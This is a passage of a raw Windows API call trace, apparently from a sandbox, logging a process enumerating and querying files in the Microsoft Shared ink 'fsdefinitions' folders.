(HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e23b8 [0047.040] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0ce8 [0047.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e3e78 [0047.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x440) returned 0x9d63e8 [0047.040] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e3218) returned 1 [0047.040] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.040] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0047.040] GetLastError () returned 0x12 [0047.040] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0047.040] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0047.041] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.041] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0047.041] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0047.041] GetLastError () returned 0x12 [0047.041] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e22b0) returned 1 [0047.041] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0047.041] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e23b8) returned 1 [0047.041] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e21a8) returned 1 [0047.041] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0047.041] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0047.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e21a8 [0047.041] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.041] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0047.041] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0047.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e5620 [0047.041] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e5620, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9e5620, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0047.041] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e5620) returned 1 [0047.041] NtClose (Handle=0x16c) returned 0x0 [0047.041] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e21a8) returned 1 [0047.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e21a8 [0047.042] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e23b8 [0047.042] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0047.042] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.042] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0047.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.042] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.042] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e22b0 [0047.042] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0d08 [0047.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e3f80 [0047.042] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.042] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0047.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.042] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.042] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0d28 [0047.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e4088 [0047.043] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.043] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0047.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.043] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.043] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0d48 [0047.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e4190 [0047.043] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.043] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0047.043] GetLastError () returned 0x12 [0047.043] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0047.043] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0047.043] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.043] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0047.043] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0047.043] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0047.043] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0047.043] GetLastError () returned 0x12 [0047.043] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e23b8) returned 1 [0047.043] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0047.044] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e22b0) returned 1 [0047.044] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e21a8) returned 1 [0047.044] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0047.044] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1 [0047.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e21a8 [0047.044] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.051] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0047.051] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0047.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e5620 [0047.051] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e5620, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9e5620, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0047.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e5620) returned 1 [0047.051] NtClose (Handle=0x164) returned 0x0 [0047.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e21a8) returned 1 [0047.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e21a8 [0047.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e22b0 [0047.051] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0047.051] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.051] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1 [0047.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.052] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.052] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e23b8 [0047.052] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0d68 [0047.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e4298 [0047.052] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.052] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0 [0047.052] GetLastError () returned 0x12 [0047.052] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0047.052] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0047.052] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.052] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1 [0047.052] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0 [0047.052] GetLastError () returned 0x12 [0047.052] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e22b0) returned 1 [0047.052] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0047.052] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e23b8) returned 1 [0047.052] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e21a8) returned 1 [0047.052] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1 [0047.052] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, 